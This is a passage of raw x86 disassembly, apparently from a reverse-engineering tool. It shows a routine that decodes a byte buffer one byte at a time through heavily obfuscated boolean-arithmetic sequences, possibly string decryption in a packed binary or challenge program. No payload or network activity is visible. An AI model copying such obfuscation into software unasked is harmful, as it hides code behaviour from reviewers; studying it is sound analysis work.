mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x7f
add bl, 0xe
add bl, 0x7f
sub bl, 0xc7
sub bl, al
add bl, 0xc7
mov byte [0x4752a8], bl
mov dl, byte [0x4750a9]
mov al, dl
xor al, 0xff
and al, 0x3a
mov cl, dl
and cl, 0xc5
or al, cl
xor al, 0xc5
mov cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
or al, cl
and al, 0xf3
xor al, 0xff
xor dl, 0xff
or dl, 0xf3
and al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x4752a9], al
mov al, byte [0x4750aa]
mov cl, al
xor cl, 0x91
xor cl, 0xff
and cl, 0x91
shl cl, 1
sub cl, 0x91
sub al, cl
mov byte [0x4752aa], al
mov al, byte [0x4750ab]
xor al, 0x4d
mov byte [0x4752ab], al
mov al, byte [0x4750ac]
mov cl, al
xor cl, 0xff
and cl, 3
and al, 0xfc
mov dl, al
and dl, cl
xor dl, 0xff
add cl, al
add cl, 1
add cl, dl
mov byte [0x4752ac], cl
mov al, byte [0x4750ad]
mov cl, al
and cl, 0xcd
shl cl, 1
add al, 0xcd
sub al, cl
mov byte [0x4752ad], al
mov al, byte [0x4750ae]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
xor dl, 0xff
and dl, 0xda
xor dl, 0xff
and al, 0x25
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x4752ae], dl
mov dl, byte [0x4750af]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
mov ah, al
xor ah, cl
xor ah, 0xff
or al, cl
and al, ah
or al, 0xce
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
xor ah, 0xff
or ah, 0x31
xor ah, 0xff
and ah, 0xff
xor al, 0xff
xor ah, 0xff
and al, ah
mov byte [0x4752af], al
mov al, byte [0x4750b0]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xc7
xor al, 0xff
or al, 0x38
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752b0], dl
mov cl, byte [0x4750b1]
mov al, cl
xor al, 0xff
and al, 0xa9
mov dl, cl
xor dl, 0x56
xor dl, 0xff
or cl, 0x56
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x4752b1], dl
mov al, byte [0x4750b2]
mov cl, al
xor cl, 0x2c
and cl, al
shl cl, 1
add al, 0x6b
add al, 0xd3
sub al, 0x6b
sub al, cl
mov byte [0x4752b2], al
mov ah, byte [0x4750b3]
mov dl, ah
xor dl, 0xff
mov al, ah
xor al, 0xff
and dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
or al, 0x8f
xor al, 0xff
mov dl, ah
or dl, 0x70
xor dl, 0xff
or ah, 0x70
xor ah, 0xff
or dl, ah
xor dl, 0xff
xor dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov ah, al
xor ah, 0xff
xor al, 0xff
and ah, al
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
xor ah, 0xff
xor al, 0xff
and ah, al
mov byte [0x4752b3], ah
mov al, byte [0x4750b4]
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov cl, al
xor cl, 0xff
mov dl, ah
and dl, cl
xor dl, 0xff
and ah, cl
xor ah, 0xff
and dl, ah
xor dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 5
xor dl, 0xff
and dl, 0xff
xor al, 0xff
and al, 5
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and dl, al
mov byte [0x4752b4], dl
mov al, byte [0x4750b5]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 6
xor al, 0xff
and al, 0xf9
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4752b5], dl
mov al, byte [0x4750b6]
xor al, 0x7c
mov byte [0x4752b6], al
mov al, byte [0x4750b7]
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0x99
mov byte [0x4752b7], al
mov dl, byte [0x4750b8]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
xor cl, 0xff
mov al, cl
xor al, 0x3d
and al, cl
xor al, 0xff
mov cl, dl
xor cl, 0x3d
xor cl, 0xff
or dl, 0x3d
and dl, cl
xor dl, 0xff
and al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov byte [0x4752b8], al
mov al, byte [0x4750b9]
xor al, 0xb8
mov byte [0x4752b9], al
mov al, byte [0x4750ba]
xor al, 0xae
mov byte [0x4752ba], al
mov al, byte [0x4750bb]
xor al, 0x22
mov byte [0x4752bb], al
mov bl, byte [0x4750bc]
mov al, bl
xor al, 0x28
xor al, 0xff
mov dl, bl
or dl, 0x28
and dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0x28
shl cl, 1
xor bl, 0x28
add bl, cl
sub bl, al
mov byte [0x4752bc], bl
mov al, byte [0x4750bd]
mov cl, al
xor cl, 0xa8
xor cl, 0xff
and cl, 0xa8
shl cl, 1
sub cl, 0xa8
sub al, cl
mov byte [0x4752bd], al
mov al, byte [0x4750be]
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov byte [0x4752be], al
mov al, byte [0x4750bf]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xa
or al, 0xa
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4752bf], dl
mov al, byte [0x4750c0]
xor al, 0x3a
mov byte [0x4752c0], al
mov al, byte [0x4750c1]
xor al, 0xd3
mov byte [0x4752c1], al
mov al, byte [0x4750c2]
mov cl, al
xor cl, 0xff
and cl, 0xb9
and al, 0x46
or cl, al
xor cl, 0xa5
mov byte [0x4752c2], cl
mov dl, byte [0x4750c3]
mov cl, dl
and cl, cl
xor cl, 0xff
mov al, dl
add al, al
add al, 1
add al, cl
xor al, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
or al, 0xc0
xor al, 0xff
and al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov cl, ah
add cl, 1
xor ah, 0xff
or ah, 0xc0
add ah, cl
mov dl, al
or dl, ah
xor dl, 0xff
or al, ah
xor al, 0xff
or dl, al
xor dl, 0xff
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
mov byte [0x4752c3], dl
mov al, byte [0x4750c4]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x57
and al, 0xa8
or dl, al
mov byte [0x4752c4], dl
mov al, byte [0x4750c5]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0x27
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xd8
or dl, al
mov byte [0x4752c5], dl
mov al, byte [0x4750c6]
xor al, 0xc9
mov byte [0x4752c6], al
mov al, byte [0x4750c7]
xor al, 0x7f
mov byte [0x4752c7], al
mov al, byte [0x4750c8]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, cl
and ah, dl
xor ah, 0xff
add dl, cl
add dl, 1
add dl, ah
xor dl, 0xff
or dl, 0xd6
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
or al, 0x29
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or al, al
xor al, 0xff
or cl, al
xor cl, 0xff
xor cl, 0xff
mov byte [0x4752c8], cl
mov al, byte [0x4750c9]
mov cl, al
xor cl, 0x17
xor cl, 0xff
and cl, 0x17
shl cl, 1
sub cl, 0x17
sub al, cl
mov byte [0x4752c9], al
mov al, byte [0x4750ca]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xa
xor cl, 0xff
and cl, 0xff
and al, 0xa
or cl, al
xor cl, 0xef
mov byte [0x4752ca], cl
mov al, byte [0x4750cb]
xor al, 0xe3
mov byte [0x4752cb], al
mov al, byte [0x4750cc]
xor al, 0x64
mov byte [str.__Cr], al
mov dl, byte [0x4750cd]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xc8
and dl, 0x37
or al, dl
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xd3
or al, 0xd3
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4752cd], dl
mov al, byte [0x4750ce]
xor al, 0xaa
mov byte [0x4752ce], al
mov dl, byte [0x4750cf]
mov al, dl
and al, al
xor al, 0xff
and al, 0x4c
xor al, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xb3
add dl, cl
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
and cl, 0x73
and dl, 0x8c
or cl, dl
xor cl, 0x8c
or al, cl
mov byte [0x4752cf], al
mov al, byte [0x4750d0]
xor al, 0x8b
mov byte [0x4752d0], al
mov al, byte [0x4750d1]
mov cl, al
xor cl, 0xe3
xor cl, 0xff
and cl, 0xe3
shl cl, 1
sub cl, 0xe3
sub al, cl
mov byte [0x4752d1], al
mov dl, byte [0x4750d2]
mov cl, dl
or cl, cl
mov al, cl
xor al, 0xff
and al, 0x58
and cl, 0xa7
or al, cl
xor al, 0xa7
mov cl, al
and cl, 0x3c
mov ah, al
xor ah, 0xc3
add al, ah
sub al, cl
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0xc3
or al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x4752d2], al
mov al, byte [0x4750d3]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov ah, dl
xor ah, 0xff
or ah, 1
xor dl, 0xff
or dl, 1
and ah, dl
xor ah, 0xff
xor al, 0xff
and al, 1
xor ah, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and ah, al
mov byte [0x4752d3], ah
mov al, byte [0x4750d4]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xa2
xor dl, 0xff
and al, 0x5d
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752d4], dl
mov bl, byte [0x4750d5]
mov dl, bl
and dl, 0x48
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x48
sub bl, al
mov byte [0x4752d5], bl
mov al, byte [0x4750d6]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x67
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
or al, 0x98
xor al, 0xff
and al, 0xff
or al, 0
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x25
and dl, 0xda
mov cl, bl
and cl, 0x25
and al, 0xda
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
xor dh, 0xff
mov byte [0x4752d6], dh
mov al, byte [0x4750d7]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x47
xor dl, 0xff
or al, 0xb8
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4752d7], dl
mov dl, byte [0x4750d8]
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, ah
xor cl, 0xff
xor ah, 0xff
or cl, ah
and al, cl
xor al, 0xff
and al, 0xbb
xor al, 0xff
and dl, 0x44
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
or al, ah
mov byte [0x4752d8], al
mov al, byte [0x4750d9]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0xf3
and al, 0xc
or dl, al
xor dl, 0xe8
mov byte [0x4752d9], dl
mov al, byte [0x4750da]
xor al, 0x1a
mov byte [0x4752da], al
mov al, byte [0x4750db]
xor al, 0x37
mov byte [0x4752db], al
mov al, byte [0x4750dc]
mov cl, al
and cl, 0x37
shl cl, 1
add al, 0x37
sub al, cl
mov byte [str.tBxD], al
mov al, byte [0x4750dd]
mov cl, al
xor cl, 0xff
and cl, 0xf1
and al, 0xe
or cl, al
xor cl, 0xb
mov byte [0x4752dd], cl
mov al, byte [0x4750de]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x3c
xor al, 0xff
or al, 0xc3
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752de], dl
mov al, byte [0x4750df]
mov cl, al
xor cl, 0xff
and cl, 0x10
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or dl, 0x10
xor dl, 0xff
or cl, dl
mov byte [0x4752df], cl
mov al, byte [0x4750e0]
xor al, 0x15
mov byte [0x4752e0], al
mov al, byte [0x4750e1]
mov cl, al
and cl, 0x32
shl cl, 1
add al, 0x32
sub al, cl
mov byte [0x4752e1], al
mov dl, byte [0x4750e2]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or al, 3
xor dl, 0xff
or dl, 0xfc
and al, dl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x4752e2], al
mov al, byte [0x4750e3]
mov cl, al
xor cl, 0x4c
xor cl, 0xff
and cl, 0x4c
shl cl, 1
sub cl, 0x4c
sub al, cl
mov byte [0x4752e3], al
mov al, byte [0x4750e4]
mov cl, al
and cl, 0x29
shl cl, 1
add al, 0x29
sub al, cl
mov byte [0x4752e4], al
mov al, byte [0x4750e5]
xor al, 0xf6
mov byte [0x4752e5], al
mov al, byte [0x4750e6]
mov cl, al
xor cl, 0xa6
xor cl, 0xff
and cl, 0xa6
shl cl, 1
sub cl, 0xa6
sub al, cl
mov byte [0x4752e6], al
mov al, byte [0x4750e7]
mov cl, al
xor cl, 0xff
and cl, 0xdb
and al, 0x24
or cl, al
xor cl, 0xd9
mov byte [0x4752e7], cl
mov al, byte [0x4750e8]
mov dl, al
xor dl, 0xff
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
and dl, cl
or dl, 0x4e
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
xor al, 0xff
or al, 0xb1
xor al, 0xff
and al, 0xff
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0xf2
and dl, 0xd
mov cl, bl
and cl, 0xf2
and al, 0xd
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
xor dh, 0xff
mov byte [0x4752e8], dh
mov al, byte [0x4750e9]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xf7
xor cl, 0xff
and cl, 0xff
and al, 0xf7
or cl, al
mov byte [0x4752e9], cl
mov dl, byte [0x4750ea]
mov al, dl
xor al, 0xff
and al, 0x51
mov cl, dl
and cl, 0xae
or al, cl
xor al, 0xae
xor al, 0xff
or al, 0xe1
xor al, 0xff
and al, 0xff
and dl, 0xe1
or al, dl
xor al, 0x4b
mov byte [0x4752ea], al
mov al, byte [0x4750eb]
xor al, 0xb2
mov byte [0x4752eb], al
mov al, byte [0x4750ec]
mov cl, al
and cl, 0x44
shl cl, 1
add al, 0x44
sub al, cl
mov byte [0x4752ec], al
mov dl, byte [0x4750ed]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xc
mov cl, dl
xor cl, 0xc
and cl, dl
or al, cl
mov cl, al
and cl, 0x6c
shl cl, 1
add al, 0x6c
sub al, cl
mov byte [0x4752ed], al
mov dl, byte [0x4750ee]
mov ah, dl
xor ah, 0xff
and ah, 0xff
or ah, 0
mov al, dl
xor al, 0xff
or ah, al
xor ah, 0xff
or ah, 0x2b
xor ah, 0xff
and ah, 0xff
mov al, ah
xor al, 0xff
and al, 0xc5
and ah, 0x3a
or al, ah
xor al, 0x3a
and dl, 0x2b
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
and ah, 0xff
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
mov cl, ah
xor cl, 0xff
mov dl, al
and dl, cl
mov cl, al
xor cl, ah
add al, cl
sub al, dl
mov byte [0x4752ee], al
mov dl, byte [0x4750ef]
mov al, dl
xor al, 0xff
xor al, 0xff
or al, 0x1b
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0xe4
xor dl, 0xff
or dl, 0xe4
xor cl, 0xff
xor dl, 0xff
or cl, dl
or al, cl
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xd1
xor al, 0xff
and al, 0x2e
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4752ef], dl
mov al, byte [0x4750f0]
xor al, 0xed
mov byte [0x4752f0], al
mov al, byte [0x4750f1]
xor al, 0x5e
mov byte [0x4752f1], al
mov al, byte [0x4750f2]
mov ah, al
xor ah, 0xff
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and ah, cl
mov dl, ah
xor dl, 0xff
and dl, 0x4e
and ah, 0xb1
or dl, ah
xor dl, 0xb1
and dl, 7
mov cl, al
and cl, 0xf8
mov ah, al
xor ah, 7
add al, ah
sub al, cl
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x4752f2], al
mov al, byte [0x4750f3]
xor al, 0x93
mov byte [0x4752f3], al
mov bl, byte [0x4750f4]
mov dl, bl
xor dl, 0x8b
xor dl, 0xff
and dl, 0x8b
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x8b
sub bl, al
mov byte [0x4752f4], bl
mov al, byte [0x4750f5]
xor al, 0x28
mov byte [0x4752f5], al
mov al, byte [0x4750f6]
xor al, 0xb9
mov byte [0x4752f6], al
mov al, byte [0x4750f7]
mov cl, al
xor cl, 0xb3
xor cl, 0xff
and cl, 0xb3
shl cl, 1
sub cl, 0xb3
sub al, cl
mov byte [0x4752f7], al
mov al, byte [0x4750f8]
mov cl, al
xor cl, 0xff
and cl, 0xee
and al, 0x11
or cl, al
mov byte [0x4752f8], cl
mov al, byte [0x4750f9]
xor al, 0xf1
mov byte [0x4752f9], al
mov al, byte [0x4750fa]
mov cl, al
xor cl, 0xff
and cl, 0x94
and al, 0x6b
or cl, al
mov byte [0x4752fa], cl
mov al, byte [0x4750fb]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x7a
xor dl, 0xff
and al, 0x85
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752fb], dl
mov al, byte [0x4750fc]
xor al, 0x99
mov byte [0x4752fc], al
mov al, byte [0x4750fd]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x34
xor dl, 0xff
and al, 0xcb
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752fd], dl
mov dl, byte [0x4750fe]
mov al, dl
and al, 0xff
shl al, 1
mov cl, dl
add cl, 0xff
sub cl, al
mov al, dl
xor al, 0xff
and cl, al
mov al, cl
xor al, 0xff
and al, 0xd1
and cl, 0x2e
or al, cl
xor al, 0x2e
and al, 0xac
mov ah, dl
xor ah, 0xff
and ah, 0x82
and dl, 0x7d
or ah, dl
xor ah, 0x7d
and ah, 0x53
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor ah, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, ah
add al, cl
mov byte [0x4752fe], al
mov al, byte [0x4750ff]
mov cl, al
and cl, 6
shl cl, 1
add al, 6
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x4752ff], al
mov al, byte [0x475100]
xor al, 0x85
mov byte [0x475300], al
mov al, byte [0x475101]
mov cl, al
xor cl, 0xff
and cl, 0x17
and al, 0xe8
or cl, al
mov byte [0x475301], cl
mov al, byte [0x475102]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x82
xor cl, 0xff
xor al, 0xff
and al, 0x82
or cl, al
xor cl, 0xff
mov byte [0x475302], cl
mov al, byte [0x475103]
xor al, 0x3f
mov byte [0x475303], al
mov al, byte [0x475104]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
and cl, ah
or dl, cl
xor dl, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0x99
and dl, 0x66
or ah, dl
xor ah, 0x66
xor ah, 0xff
and ah, 0xfe
xor al, 0xff
and al, 1
or ah, al
xor ah, 0xff
mov byte [0x475304], ah
mov bl, byte [0x475105]
mov dl, bl
and dl, 0xc2
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xc2
sub bl, al
mov byte [0x475305], bl
mov al, byte [0x475106]
xor al, 0x2b
mov byte [0x475306], al
mov al, byte [0x475107]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0xdb
and al, 0x24
mov ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xff
and ah, cl
xor dl, 0xff
xor al, 0xff
and dl, al
xor ah, 0xff
xor dl, 0xff
and ah, dl
mov byte [0x475307], ah
mov dl, byte [0x475108]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0xdc
and dl, 0xdc
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
and al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x475308], al
mov al, byte [0x475109]
xor al, 0x5b
mov byte [0x475309], al
mov bl, byte [0x47510a]
mov dl, bl
xor dl, 0xfa
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
xor dl, 0xff
xor dl, 0xfa
and dl, 0xfa
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x1c
sub al, 0xfa
sub al, 0x1c
sub bl, al
mov byte [0x47530a], bl
mov al, byte [0x47510b]
xor al, 0x18
mov byte [0x47530b], al
mov al, byte [0x47510c]
xor al, 0x4c
mov byte [0x47530c], al
mov al, byte [0x47510d]
mov cl, al
and cl, cl
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0xdd
and al, 0xdd
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
xor dl, 0xff
mov byte [0x47530d], dl
mov al, byte [0x47510e]
xor al, 0xaa
mov byte [0x47530e], al
mov al, byte [0x47510f]
mov cl, al
xor cl, 0xde
xor cl, 0xff
and cl, 0xde
shl cl, 1
sub cl, 0xde
sub al, cl
mov byte [0x47530f], al
mov al, byte [0x475110]
mov ah, al
or ah, ah
xor ah, 0xff
mov cl, al
or cl, cl
xor cl, 0xff
xor ah, 0xff
xor cl, 0xff
and ah, cl
mov dl, ah
xor dl, 0xff
and dl, 1
and ah, 0xfe
or dl, ah
xor dl, 0xfe
xor dl, 0xff
xor dl, 0xff
or dl, 0x28
xor dl, 0xff
and dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x28
add al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475310], dl
mov al, byte [0x475111]
xor al, 0x1b
mov byte [0x475311], al
mov al, byte [0x475112]
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
mov cl, ah
xor cl, 0xff
xor ah, 0xff
or cl, ah
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xcf
xor dl, 0xff
and al, 0x30
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
xor dl, 0xff
mov byte [0x475312], dl
mov bl, byte [0x475113]
mov dl, bl
xor dl, 0xff
and dl, 0x72
mov al, bl
and al, 0x8d
or dl, al
xor dl, 0x5d
xor dl, 0xff
and dl, 0x2f
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x2f
sub bl, al
mov byte [0x475313], bl
mov bl, byte [0x475114]
mov dl, bl
xor dl, 0xff
mov al, bl
xor al, 0xff
or dl, al
and dl, 0xae
xor dl, 0xff
mov al, bl
and al, 0x51
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
and dl, 0xae
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x51
add al, 1
sub bl, al
mov byte [0x475314], bl
mov al, byte [0x475115]
mov cl, al
and cl, cl
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
mov ah, cl
xor ah, 0xd
and ah, cl
xor ah, 0xff
and al, 0xd
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x475315], al
mov al, byte [0x475116]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0xe
and al, 0xf1
or cl, al
mov byte [0x475316], cl
mov al, byte [0x475117]
mov cl, al
and cl, 0x8e
shl cl, 1
add al, 0x8e
sub al, cl
mov byte [0x475317], al
mov al, byte [0x475118]
xor al, 0x7e
mov byte [0x475318], al
mov al, byte [0x475119]
xor al, 0x64
mov byte [0x475319], al
mov al, byte [0x47511a]
xor al, 0x64
mov byte [0x47531a], al
mov al, byte [0x47511b]
mov cl, al
and cl, cl
mov ah, cl
xor ah, 0xff
xor cl, 0xff
or ah, cl
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov dl, ah
and dl, 0x49
xor ah, 0x49
or dl, ah
mov cl, al
xor cl, 0x49
xor cl, 0xff
or al, 0x49
and al, cl
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
